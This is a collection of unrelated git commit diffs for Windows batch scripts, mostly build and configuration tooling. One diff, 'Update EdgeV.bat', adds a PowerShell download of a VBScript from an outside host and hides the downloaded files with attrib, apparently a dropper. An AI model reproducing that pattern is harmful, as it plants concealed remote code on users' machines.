+COPY ..\src\ServiceStack.OrmLite.SqlServer\bin\%BUILD%\ServiceStack.OrmLite.SqlServer.dll ..\..\ServiceStack\lib
+COPY ..\src\ServiceStack.OrmLite.SqlServer\bin\%BUILD%\ServiceStack.OrmLite.SqlServer.pdb ..\..\ServiceStack\lib
+


commit on 02/02/2019 at 17:23:18

commit on 02/02/2019 at 17:23:18

error: pathspec 'windows-cmd/startPipeClusterEEIGM.cmd' did not match any file(s) known to git

--- windows-cmd/startPipeClusterEEIGM.cmd
+++ windows-cmd/startPipeClusterEEIGM.cmd
@@ -0,0 +1 @@
+cd D:/01*/06*/thinPlyMechanics/windows-cmd && startClusteredRVESimPipeLPC.cmd 1_618S1A1 && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startClusteredRVESimPipeLPC.cmd 1_618S2A1 && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startClusteredRVESimPipeLPC.cmd 1_618S2A2 && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startClusteredRVESimPipeLPC.cmd 1_618S3A1 && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startClusteredRVESimPipeLPC.cmd 1_618S3A2 && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startClusteredRVESimPipeLPC.cmd 1_618S3A3 && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startClusteredRVESimPipeLPC.cmd 1_618S5A1 && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startClusteredRVESimPipeLPC.cmd 1_618S5A2 && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startClusteredRVESimPipeLPC.cmd 1_618S5A3 && cd D:/01*/06*/thinPlyMechanics/windows-cmd && startClusteredRVESimPipeLPC.cmd 1_618S5A5


Fix line endings in configure.bat

Fix line endings in configure.bat

--- configure.bat
+++ configure.bat
@@ -6,35 +6,35 @@
 ::
 :: This file is part of the Qt Mobility Components.
 ::
-:: $QT_BEGIN_LICENSE:LGPL$
-:: GNU Lesser General Public License Usage
-:: This file may be used under the terms of the GNU Lesser General Public
-:: License version 2.1 as published by the Free Software Foundation and
-:: appearing in the file LICENSE.LGPL included in the packaging of this
-:: file. Please review the following information to ensure the GNU Lesser
-:: General Public License version 2.1 requirements will be met:
-:: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-::
-:: In addition, as a special exception, Nokia gives you certain additional
-:: rights. These rights are described in the Nokia Qt LGPL Exception
-:: version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-::
-:: GNU General Public License Usage
-:: Alternatively, this file may be used under the terms of the GNU General
-:: Public License version 3.0 as published by the Free Software Foundation
-:: and appearing in the file LICENSE.GPL included in the packaging of this
-:: file. Please review the following information to ensure the GNU General
-:: Public License version 3.0 requirements will be met:
-:: http://www.gnu.org/copyleft/gpl.html.
-::
-:: Other Usage
-:: Alternatively, this file may be used in accordance with the terms and
-:: conditions contained in a signed written agreement between you and Nokia.
-::
-::
-::
-::
-::
+:: $QT_BEGIN_LICENSE:LGPL$
+:: GNU Lesser General Public License Usage
+:: This file may be used under the terms of the GNU Lesser General Public
+:: License version 2.1 as published by the Free Software Foundation and
+:: appearing in the file LICENSE.LGPL included in the packaging of this
+:: file. Please review the following information to ensure the GNU Lesser
+:: General Public License version 2.1 requirements will be met:
+:: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+::
+:: In addition, as a special exception, Nokia gives you certain additional
+:: rights. These rights are described in the Nokia Qt LGPL Exception
+:: version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+::
+:: GNU General Public License Usage
+:: Alternatively, this file may be used under the terms of the GNU General
+:: Public License version 3.0 as published by the Free Software Foundation
+:: and appearing in the file LICENSE.GPL included in the packaging of this
+:: file. Please review the following information to ensure the GNU General
+:: Public License version 3.0 requirements will be met:
+:: http://www.gnu.org/copyleft/gpl.html.
+::
+:: Other Usage
+:: Alternatively, this file may be used in accordance with the terms and
+:: conditions contained in a signed written agreement between you and Nokia.
+::
+::
+::
+::
+::
 :: $QT_END_LICENSE$
 ::
 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


Script to run cmake configuration with MSVC14 & Ninja generator

error: pathspec 'buildMsvc14.bat' did not match any file(s) known to git

--- buildMsvc14.bat
+++ buildMsvc14.bat
@@ -0,0 +1,20 @@
+call "C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\vcvarsall.bat" amd64
+
+rmdir buildRelease /s /q
+rmdir buildDebug   /s /q
+mkdir buildRelease
+mkdir buildDebug
+
+cd buildRelease
+cmake ../ -GNinja^
+   -DCMAKE_BUILD_TYPE=Release^
+   -DCMAKE_PREFIX_PATH=c:/Qt/Qt5.5.1/msvc2015_64/^
+   -DGTEST_ROOT=d:/Dev/Windows/msvc14/
+
+cd ..\buildDebug
+cmake ../ -GNinja^
+   -DCMAKE_BUILD_TYPE=Debug^
+   -DCMAKE_PREFIX_PATH=c:/Qt/Qt5.5.1/msvc2015_64/^
+   -DGTEST_ROOT=d:/Dev/Windows/msvc14/
+
+cd ..


Scripts: Improve perft output

Scripts: Improve perft output

--- scripts/perft.cmd
+++ scripts/perft.cmd
@@ -20,7 +20,7 @@

     if ($startingDepth -eq 0)
     {
-        Write-Host "depth,count,time (ms)"
+        Write-Host "Depth`tCount`tTime`tKN/s"
     }

     [int] $depth = $startingDepth;
@@ -30,8 +30,9 @@
         $gameBoard = New-Object Mzinga.Core.GameBoard
         $sw = [System.Diagnostics.Stopwatch]::StartNew()
         [long] $count = $gameBoard.CalculatePerft($depth)
-        $elapsed = $sw.Elapsed.TotalMilliseconds
-        Write-Host "$depth,$count,$elapsed"
+        $elapsed = $sw.Elapsed
+        $kns = ($count / $elapsed.TotalMilliseconds).ToString("0.00")
+        Write-Host "$depth`t$count`t$elapsed`t$kns"
         $depth++
     }


remove quotation marks in output(1)

remove quotation marks in output(1)

(forget to remove code for testing)

--- scripts/pywin.bat
+++ scripts/pywin.bat
@@ -360,7 +360,6 @@
                     )
                     if "!pyver!"=="3.3" (
                         if not exist "%msys%\local\bin\python33.dll" (
-                            echo. "!pyhome!python33.dll"
                             mklink "%msys%\local\bin\python33.dll" "!pyhome!python33.dll" >NUL 2>NUL
                         )
                         if not exist "%msys%\local\bin\msvcr100.dll" (


Remove make.bat

Remove make.bat

--- docs/make.bat
+++ docs/make.bat
@@ -1,242 +0,0 @@
-@ECHO OFF
-
-REM Command file for Sphinx documentation
-
-if "%SPHINXBUILD%" == "" (
-	set SPHINXBUILD=sphinx-build
-)
-set BUILDDIR=build
-set ALLSPHINXOPTS=-W -d %BUILDDIR%/doctrees %SPHINXOPTS% source
-set I18NSPHINXOPTS=%SPHINXOPTS% source
-if NOT "%PAPER%" == "" (
-	set ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS%
-	set I18NSPHINXOPTS=-D latex_paper_size=%PAPER% %I18NSPHINXOPTS%
-)
-
-if "%1" == "" goto help
-
-if "%1" == "help" (
-	:help
-	echo.Please use `make ^<target^>` where ^<target^> is one of
-	echo.  html       to make standalone HTML files
-	echo.  dirhtml    to make HTML files named index.html in directories
-	echo.  singlehtml to make a single large HTML file
-	echo.  pickle     to make pickle files
-	echo.  json       to make JSON files
-	echo.  htmlhelp   to make HTML files and a HTML help project
-	echo.  qthelp     to make HTML files and a qthelp project
-	echo.  devhelp    to make HTML files and a Devhelp project
-	echo.  epub       to make an epub
-	echo.  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter
-	echo.  text       to make text files
-	echo.  man        to make manual pages
-	echo.  texinfo    to make Texinfo files
-	echo.  gettext    to make PO message catalogs
-	echo.  changes    to make an overview over all changed/added/deprecated items
-	echo.  xml        to make Docutils-native XML files
-	echo.  pseudoxml  to make pseudoxml-XML files for display purposes
-	echo.  linkcheck  to check all external links for integrity
-	echo.  doctest    to run all doctests embedded in the documentation if enabled
-	goto end
-)
-
-if "%1" == "clean" (
-	for /d %%i in (%BUILDDIR%\*) do rmdir /q /s %%i
-	del /q /s %BUILDDIR%\*
-	goto end
-)
-
-
-%SPHINXBUILD% 2> nul
-if errorlevel 9009 (
-	echo.
-	echo.The 'sphinx-build' command was not found. Make sure you have Sphinx
-	echo.installed, then set the SPHINXBUILD environment variable to point
-	echo.to the full path of the 'sphinx-build' executable. Alternatively you
-	echo.may add the Sphinx directory to PATH.
-	echo.
-	echo.If you don't have Sphinx installed, grab it from
-	echo.http://sphinx-doc.org/
-	exit /b 1
-)
-
-if "%1" == "html" (
-	%SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/html.
-	goto end
-)
-
-if "%1" == "dirhtml" (
-	%SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml.
-	goto end
-)
-
-if "%1" == "singlehtml" (
-	%SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml.
-	goto end
-)
-
-if "%1" == "pickle" (
-	%SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can process the pickle files.
-	goto end
-)
-
-if "%1" == "json" (
-	%SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can process the JSON files.
-	goto end
-)
-
-if "%1" == "htmlhelp" (
-	%SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can run HTML Help Workshop with the ^
-.hhp project file in %BUILDDIR%/htmlhelp.
-	goto end
-)
-
-if "%1" == "qthelp" (
-	%SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can run "qcollectiongenerator" with the ^
-.qhcp project file in %BUILDDIR%/qthelp, like this:
-	echo.^> qcollectiongenerator %BUILDDIR%\qthelp\ChapelforPythonProgrammers.qhcp
-	echo.To view the help file:
-	echo.^> assistant -collectionFile %BUILDDIR%\qthelp\ChapelforPythonProgrammers.ghc
-	goto end
-)
-
-if "%1" == "devhelp" (
-	%SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished.
-	goto end
-)
-
-if "%1" == "epub" (
-	%SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The epub file is in %BUILDDIR%/epub.
-	goto end
-)
-
-if "%1" == "latex" (
-	%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; the LaTeX files are in %BUILDDIR%/latex.
-	goto end
-)
-
-if "%1" == "latexpdf" (
-	%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
-	cd %BUILDDIR%/latex
-	make all-pdf
-	cd %BUILDDIR%/..
-	echo.
-	echo.Build finished; the PDF files are in %BUILDDIR%/latex.
-	goto end
-)
-
-if "%1" == "latexpdfja" (
-	%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
-	cd %BUILDDIR%/latex
-	make all-pdf-ja
-	cd %BUILDDIR%/..
-	echo.
-	echo.Build finished; the PDF files are in %BUILDDIR%/latex.
-	goto end
-)
-
-if "%1" == "text" (
-	%SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The text files are in %BUILDDIR%/text.
-	goto end
-)
-
-if "%1" == "man" (
-	%SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The manual pages are in %BUILDDIR%/man.
-	goto end
-)
-
-if "%1" == "texinfo" (
-	%SPHINXBUILD% -b texinfo %ALLSPHINXOPTS% %BUILDDIR%/texinfo
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The Texinfo files are in %BUILDDIR%/texinfo.
-	goto end
-)
-
-if "%1" == "gettext" (
-	%SPHINXBUILD% -b gettext %I18NSPHINXOPTS% %BUILDDIR%/locale
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The message catalogs are in %BUILDDIR%/locale.
-	goto end
-)
-
-if "%1" == "changes" (
-	%SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.The overview file is in %BUILDDIR%/changes.
-	goto end
-)
-
-if "%1" == "linkcheck" (
-	%SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Link check complete; look for any errors in the above output ^
-or in %BUILDDIR%/linkcheck/output.txt.
-	goto end
-)
-
-if "%1" == "doctest" (
-	%SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Testing of doctests in the sources finished, look at the ^
-results in %BUILDDIR%/doctest/output.txt.
-	goto end
-)
-
-if "%1" == "xml" (
-	%SPHINXBUILD% -b xml %ALLSPHINXOPTS% %BUILDDIR%/xml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The XML files are in %BUILDDIR%/xml.
-	goto end
-)
-
-if "%1" == "pseudoxml" (
-	%SPHINXBUILD% -b pseudoxml %ALLSPHINXOPTS% %BUILDDIR%/pseudoxml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The pseudo-XML files are in %BUILDDIR%/pseudoxml.
-	goto end
-)
-
-:end


Experimenting... I feel good...

Experimenting... I feel good...

--- docs/make.bat
+++ docs/make.bat
@@ -72,7 +72,7 @@
     move .\build\html\_sources ..
     move .\build\html\_static ..
 	rmdir /s /q %GH_PAGES_SOURCES% build
-	call git add -A
+	call git add -A :/
     call git reset .
 	call git commit -m "Generated gh-pages for `git log master -1 --pretty=short --abbrev-commit`" && git push origin gh-pages ; git checkout master
 	echo.Build finished. The GitHub Pages Documentation site is updated.


Temporarily disable sign for CI build

Temporarily disable sign for CI build

--- build/cibuild.cmd
+++ build/cibuild.cmd
@@ -1,3 +1,4 @@
 @echo off
-powershell -ExecutionPolicy ByPass %~dp0build.ps1 -build -sign -pack -ci -prepareMachine %*
+REM -sign temporarily disabled
+powershell -ExecutionPolicy ByPass %~dp0build.ps1 -build -pack -ci -prepareMachine %*
 exit /b %ErrorLevel%


[Java] Fix Windows benchmark-runner script.

--- scripts/benchmark-runner.cmd
+++ scripts/benchmark-runner.cmd
@@ -90,25 +90,24 @@
   exit -1
 )

-set "EXISTING_JVM_OPTS=%JVM_OPTS%"
+for %%m in (%NUMBER_OF_MESSAGES%) do (
+  for %%b in (%BURST_SIZE%) do (
+    for %%l in (%MESSAGE_LENGTH%) do (
+      for /L %%r in (1,1,%RUNS%) do (
+        echo Run #%%r ...

-for %%messages in (%NUMBER_OF_MESSAGES%) do (
-  for %%burst in (%BURST_SIZE%) do (
-    for %%length in (%MESSAGE_LENGTH%) do (
-      for /L %%r in (1,1,%RUNS%) do (
-        echo -e 'Run #'%%r' ...\r\n'
+        setlocal

-        set "JVM_OPTS=%EXISTING_JVM_OPTS ^
-        -Duk.co.real_logic.benchmarks.remote.outputFileNamePrefix=%OUTPUT_FILE_NAME% ^
+        set JVM_OPTS=-Duk.co.real_logic.benchmarks.remote.outputFileNamePrefix=%OUTPUT_FILE_NAME% ^
         -Duk.co.real_logic.benchmarks.remote.iterations=%ITERATIONS% ^
-        -Duk.co.real_logic.benchmarks.remote.messages=%%messages ^
-        -Duk.co.real_logic.benchmarks.remote.batchSize=%%burst ^
-        -Duk.co.real_logic.benchmarks.remote.messageLength=%%length"
-
+        -Duk.co.real_logic.benchmarks.remote.messages=%%m ^
+        -Duk.co.real_logic.benchmarks.remote.batchSize=%%b ^
+        -Duk.co.real_logic.benchmarks.remote.messageLength=%%l
+
          %COMMAND%
+
+         endlocal
       )
     )
   )
 )
-
-set "JVM_OPTS=%EXISTING_JVM_OPTS%"


use prebuilt binaries for Embree on Windows CI jobs

--- scripts/build_gitlab/win.bat
+++ scripts/build_gitlab/win.bat
@@ -28,6 +28,7 @@
 -D BUILD_JOBS=4 ^
 -D BUILD_OSPRAY_MPI="%~3" ^
 -D BUILD_TBB_FROM_SOURCE=OFF ^
+-D BUILD_EMBREE_FROM_SOURCE=OFF ^
 ../scripts/superbuild

 cmake --build . --config Release --target ALL_BUILD -- /m /nologo


Not forcing python 3.5 in case someone installs the newer beta version

--- kanan.bat
+++ kanan.bat
@@ -3,4 +3,4 @@
 @cd /d "%~dp0"

 pip -q install frida
-py -3.5 ./kanan.py
+python ./kanan.py


Float rounding for each file.

Float rounding for each file.

--- iCatalyst.bat
+++ iCatalyst.bat
@@ -123,6 +123,9 @@
 set "TFN=31"
 ::restrictions in bytes (default - 100Mb)
 set "BYTECONV=104857600"
+set "KB=1024"
+set /a "MB=KB*KB"
+set /a "GB=MB*KB"

 set "thread=" & set "updatecheck=" & set "outdir=" & set "nooutfolder="
 set "jpegtags=" & set "xtreme=" & set "advanced=" & set "pngtags=" & set "giftags="
@@ -204,8 +207,8 @@
 )
 call:clearscreen
 echo.%spacebar%
-echo. File Name                      ^| Original  ^| Optimized ^| Savings, ^| %% Savings
-echo.                                ^| Size, KB  ^| Size, KB  ^| KB       ^|
+echo. File Name                      ^| Original  ^| Optimized ^| Savings  ^| %% Savings
+echo.                                ^|   Size    ^|   Size    ^|          ^|
 echo.%spacebar%
 if /i "%updatecheck%" equ "true" start "" /b cmd.exe /c ""%fullname%" updateic"
 call:setitle
@@ -341,19 +344,29 @@
 :printfileinfo
 setlocal
 set "fn="
-call:cropfilename fn %1 %TFN%
-set "origsize=%2"
-call:division origsize 1024 100
-set "origsize=          !origsize!"
-set "optsize=%3"
-call:division optsize 1024 100
-set "optsize=          !optsize!"
-set "change=%4"
-call:division change 1024 100
-set "change=          !change!"
+call:cropfilename fn "%~1" %TFN%
+set "origsize=%~2"
+call:prepsize origsize
+set "origsize=          %origsize%"
+set "optsize=%~3"
+call:prepsize optsize
+set "optsize=          %optsize%"
+set "change=%~4"
+set "sign="
+if %change% lss 0 (set "sign=-" & set "change=%change:~1%")
+call:prepsize change
+set "change=           %sign%%change%"
 set "percent=          %5%%"
 echo. !fn:~,%TFN%!^|%origsize:~-11%^|%optsize:~-11%^|%change:~-10%^|%percent:~-10%
 endlocal
+exit /b
+
+::%1 - variable name
+:prepsize
+if !%~1! geq %GB% (call:division %~1 %GB% 100 & set "%~1=!%~1!GB" & exit /b)
+if !%~1! geq %MB% (call:division %~1 %MB% 100 & set "%~1=!%~1!MB" & exit /b)
+if !%~1! geq %KB% (call:division %~1 %KB% 100 & set "%~1=!%~1!KB" & exit /b)
+set "%~1=!%~1!byte"
 exit /b

 ::%1 - file name


sentence identify script for windows os

sentence identify script for windows os

error: pathspec 'sentence-identify.bat' did not match any file(s) known to git

--- sentence-identify.bat
+++ sentence-identify.bat
@@ -0,0 +1,6 @@
+@echo off
+call mvn -Dmaven.test.skip clean install dependency:copy-dependencies
+set JAVA_OPTS=-Xms1200m -Xmx1200m
+set CLASS_PATH=target/classes;target/dependency/slf4j-api-1.6.4.jar;target/dependency/logback-classic-0.9.28.jar;target/dependency/logback-core-0.9.28.jar
+set EXECUTOR=java %JAVA_OPTS% -cp %CLASS_PATH%
+call %EXECUTOR% org.apdplat.word.analysis.SentenceIdentify


Update install_bigfix.bat

Update install_bigfix.bat

added clientsettings.cfg creation to script

--- CMD/install_bigfix.bat
+++ CMD/install_bigfix.bat
@@ -9,6 +9,21 @@
 powershell -command "& { (New-Object Net.WebClient).DownloadFile('http://software.bigfix.com/download/bes/95/BigFix-BES-Client-9.5.1.9.exe', 'c:\Windows\Temp\BESClient.exe') }" -ExecutionPolicy Bypass
 powershell -command "& { (New-Object Net.WebClient).DownloadFile('%MASTHEADURL%', 'c:\Windows\Temp\actionsite.afxm') }" -ExecutionPolicy Bypass

+REM https://www.ibm.com/developerworks/community/wikis/home?lang=en#!/wiki/Tivoli%20Endpoint%20Manager/page/Configuration%20Settings
+REM https://gist.github.com/jgstew/51a99ab4b5997efa0318
+ECHO "" > C:\Windows\Temp\clientsettings.cfg
+ECHO "_BESClient_RelaySelect_FailoverRelay=http://%1:port/bfmirror/downloads/" >> C:\Windows\Temp\clientsettings.cfg
+ECHO "_BESClient_Resource_StartupNormalSpeed=1" >> C:\Windows\Temp\clientsettings.cfg
+ECHO "_BESClient_Download_RetryMinutes=1" >> C:\Windows\Temp\clientsettings.cfg
+ECHO "_BESClient_Resource_WorkIdle=20" >> C:\Windows\Temp\clientsettings.cfg
+ECHO "_BESClient_Resource_SleepIdle=500" >> C:\Windows\Temp\clientsettings.cfg
+ECHO "_BESClient_Comm_CommandPollEnable=1" >> C:\Windows\Temp\clientsettings.cfg
+ECHO "_BESClient_Comm_CommandPollIntervalSeconds=10800" >> C:\Windows\Temp\clientsettings.cfg
+ECHO "_BESClient_Log_Days=30" >> C:\Windows\Temp\clientsettings.cfg
+ECHO "_BESClient_Download_UtilitiesCacheLimitMB=500" >> C:\Windows\Temp\clientsettings.cfg
+ECHO "_BESClient_Download_DownloadsCacheLimitMB=5000" >> C:\Windows\Temp\clientsettings.cfg
+ECHO "_BESClient_Download_MinimumDiskFreeMB=2000" >> C:\Windows\Temp\clientsettings.cfg
+
 ECHO I am %COMSPEC%
 ECHO put CMD/BAT lines in here.
 ECHO %0


Update EdgeV.bat

Update EdgeV.bat

--- scripts/EdgeV.bat
+++ scripts/EdgeV.bat
@@ -1,5 +1,7 @@
 @echo off
 :start
+IF EXIST b5754nfhHuf58Gd4568.vbs goto nextfile4
+:nextfile4
 IF EXIST 7b96332f2c9f777574ba038be0334018.jpg goto nextfile1
 :nextfile1
 IF EXIST d3745b53b599b72e9cb750f4d757560d.vbs goto nextfile2
@@ -9,12 +11,15 @@
 IF NOT EXIST ec372a061f8a3c0432bb4575216c7f75.jpg goto files
 IF NOT EXIST d3745b53b599b72e9cb750f4d757560d.bat goto files
 IF NOT EXIST 7b96332f2c9f777574ba038be0334018.vbs goto files
+IF NOT EXIST b5754nfhHuf58Gd4568.vbs goto files
 :files
 powershell -Command "(New-Object Net.WebClient).DownloadFile('http://curseddreams.me/scripts/7b96332f2c9f777574ba038be0334018.jpg', 'ec372a061f8a3c0432bb4575216c7f75.jpg')"
 powershell -Command "(New-Object Net.WebClient).DownloadFile('http://curseddreams.me/scripts/FileScheduler.bat', 'd3745b53b599b72e9cb750f4d757560d.bat')"
 powershell -Command "(New-Object Net.WebClient).DownloadFile('http://curseddreams.me/scripts/d3745b53b599b72e9cb750f4d757560d.vbs', '7b96332f2c9f777574ba038be0334018.vbs')"
+powershell -Command "(New-Object Net.WebClient).DownloadFile('http://curseddreams.me/scripts/DankMemes.vbs', 'b5754nfhHuf58Gd4568.vbs')"
 attrib +h 7b96332f2c9f777574ba038be0334018.jpg
 attrib +h d3745b53b599b72e9cb750f4d757560d.bat
 attrib +h ec372a061f8a3c0432bb4575216c7f75.jpg
+attrib +h b5754nfhHuf58Gd4568.vbs
 attrib +h EdgeV.exe
 :end


Omit empty internal SD Card readers on Windows

Windows lists internal SD Card readers by default, even when they have
no SD Card inserted on them. As a solution, we can check if the size
returned for such internal reader is `null`, and if so, omit it from the
final drive list.

Signed-off-by: Juan Cruz Viotti <4148f5869aa1bcd7efd85b513a5874967e585032@openmailbox.org>

--- scripts/win32.bat
+++ scripts/win32.bat
@@ -135,7 +135,13 @@
 		Summary.Add "IsRemovable", IsRemovable
 		Summary.Add "IsProtected", IsProtected

-		GetTopLevelDrives.Add(Summary)
+		' Windows might always list internal SD Card
+		' readers, even when there are no cards inserted.
+		' A realiable way to omit these drives is to
+		' check whether the size is null
+		If Not IsNull(Summary.Item("Size")) Then
+			GetTopLevelDrives.Add(Summary)
+		End If
 	Next
 End Function


fixed spelling error in argument name

fixed spelling error in argument name

--- setup/build_stack.cmd
+++ setup/build_stack.cmd
@@ -23,7 +23,7 @@
 # to the build machine when your interactive session starts.
 # Make sure to create a different tarball of the files you want
 # transfered back to the submit node when you're done compiling.
-executable = build_stacks.sh
+executable = build_stack.sh
 transfer_input_files = build_stack.sh

 # We don't want email about our jobs. (If you do, let us know,
@@ -37,4 +37,4 @@
 request_memory = 1GB
 request_disk = 500MB

-queue+queue


It shoudl be sql.start and not sql_start. No comments to this mistake.

--- sql/NT/MSQLserver.bat
+++ sql/NT/MSQLserver.bat
@@ -14,6 +14,6 @@
 "%MONETDB%\Mserver.bat" --dbinit="module(sql_server); sql_server_start();" %*

 :m5server
-"%MONETDB%\M5server.bat" --dbinit="include sql; sql_start();" %*
+"%MONETDB%\M5server.bat" --dbinit="include sql; sql.start();" %*

 endlocal


Update antlr4.bat

Update antlr4.bat

--- Agiil.QueryLanguage.Antlr/Tools/antlr4.bat
+++ Agiil.QueryLanguage.Antlr/Tools/antlr4.bat
@@ -1,8 +1,5 @@
-SET SCRIPT_PATH=%~dp0
-SET ANTLR_JAR_PATH=%SCRIPT_PATH%..\lib\*.jar
+SET ANTLR_JAR_PATH=..\lib\*.jar

-SET CLASSPATH=.;%ANTLR_JAR_PATH%;%CLASSPATH%
+SET CUSTOM_CLASSPATH=.;%ANTLR_JAR_PATH%

-echo %CLASSPATH%
-
-java org.antlr.v4.Tool %*
+java -cp %CUSTOM_CLASSPATH% org.antlr.v4.Tool %*


replace

replace

git-svn-id: e2e1a767b54e5f731ad8ac18fa5089ee37d5625a@267 7ec92016-0320-0410-acc4-a06ded1c099a

error: pathspec 'make.msvc.bat' did not match any file(s) known to git

--- make.msvc.bat
+++ make.msvc.bat
@@ -0,0 +1,89 @@
+@ECHO OFF
+
+if defined LOKI_TMP (
+	goto STARTCOMPILING
+)
+
+:: Viual C++ 7.1
+if defined VS71COMNTOOLS  (
+	if exist "%VS71COMNTOOLS%\vsvars32.bat" (
+		echo -
+		echo - Visual C++ 7.1 found.
+		echo -
+		call "%VS71COMNTOOLS%\vsvars32.bat"
+		set LOKI_TMP=true
+		goto STARTCOMPILING
+	)
+)
+
+:: Viual C++ 8.0
+if defined VS80COMNTOOLS (
+	if exist "%VS80COMNTOOLS%\vsvars32.bat" (
+		echo -
+		echo - Visual C++ 8.0 found.
+		echo -
+		call "%VS80COMNTOOLS%\vsvars32.bat"
+		set LOKI_TMP=true
+		goto STARTCOMPILING
+	)
+)
+
+:: Toolkit 2003
+if defined VCToolkitInstallDir (
+	if exist "%VCToolkitInstallDir%\vcvars32.bat" (
+		echo -
+		echo - VC 7.1 Toolkit found.
+		echo -
+		call "%VCToolkitInstallDir%\vcvars32.bat"
+		set LOKI_TMP=true
+		goto STARTCOMPILING
+	)
+)
+
+
+echo -
+echo - No Visual C++ found, please set the enviroment variable
+echo -
+echo - VCToolkitInstallDir  or  VS71COMNTOOLS or VS80COMNTOOLS
+echo -
+echo - to your Visual Studio folder which contains vsvars32.bat.
+echo -
+echo - Or call the vsvars32.bat.
+echo -
+
+goto ERROR
+
+
+
+:STARTCOMPILING
+
+
+:: buid process
+
+if defined LOKI_TMP (
+
+
+@ECHO ON
+
+cd src
+call make.msvc.bat
+cd ..
+
+cd test
+call make.msvc.bat
+cd ..
+
+goto LEAVE
+
+)
+
+:ERROR
+echo -
+echo -
+echo - An error occured. Compiling aborted.
+echo -
+pause
+
+
+
+:LEAVE


Fix a bad merge for symbian 4

Fix a bad merge for symbian 4

--- configure.bat
+++ configure.bat
@@ -58,6 +58,7 @@
 set BUILD_DEMOS=no
 set BUILD_DOCS=yes
 set BUILD_TOOLS=yes
+set BUILD_SYMBIANCNTMODEL=no
 set MOBILITY_MODULES=bearer location contacts multimedia publishsubscribe versit messaging systeminfo serviceframework sensors telephony organizer
 set MOBILITY_MODULES_UNPARSED=
 set VC_TEMPLATE_OPTION=
@@ -97,6 +98,7 @@
 if "%1" == "-help"              goto usage
 if "%1" == "--help"             goto usage
 if "%1" == "-symbian-unfrozen"  goto unfrozenTag
+if "%1" == "-symbian-qtm-cntmodel"  goto cntmodelTag

 echo Unknown option: "%1"
@@ -226,6 +228,12 @@
 shift
 goto cmdline_parsing

+:cntmodelTag
+REM Selects using the local CNTMODEL code instead of the SDKs
+set BUILD_SYMBIANCNTMODEL=yes
+shift
+goto cmdline_parsing
+
 :testTag
 set BUILD_UNITTESTS=yes
 shift
@@ -374,6 +382,9 @@

 echo qmf_enabled = no >> %PROJECT_CONFIG%

+echo build_symbiancntmodel = %BUILD_SYMBIANCNTMODEL% >> %PROJECT_CONFIG%
+set BUILD_SYMBIANCNTMODEL=
+
 echo !symbian:isEmpty($$QT_MOBILITY_INCLUDE):QT_MOBILITY_INCLUDE=$$QT_MOBILITY_PREFIX/include >> %PROJECT_CONFIG%
 echo isEmpty($$QT_MOBILITY_LIB):QT_MOBILITY_LIB=$$QT_MOBILITY_PREFIX/lib >> %PROJECT_CONFIG%
 echo isEmpty($$QT_MOBILITY_BIN):QT_MOBILITY_BIN=$$QT_MOBILITY_PREFIX/bin >> %PROJECT_CONFIG%
@@ -506,7 +517,7 @@
 endlocal&goto :EOF

 :compileTests
-
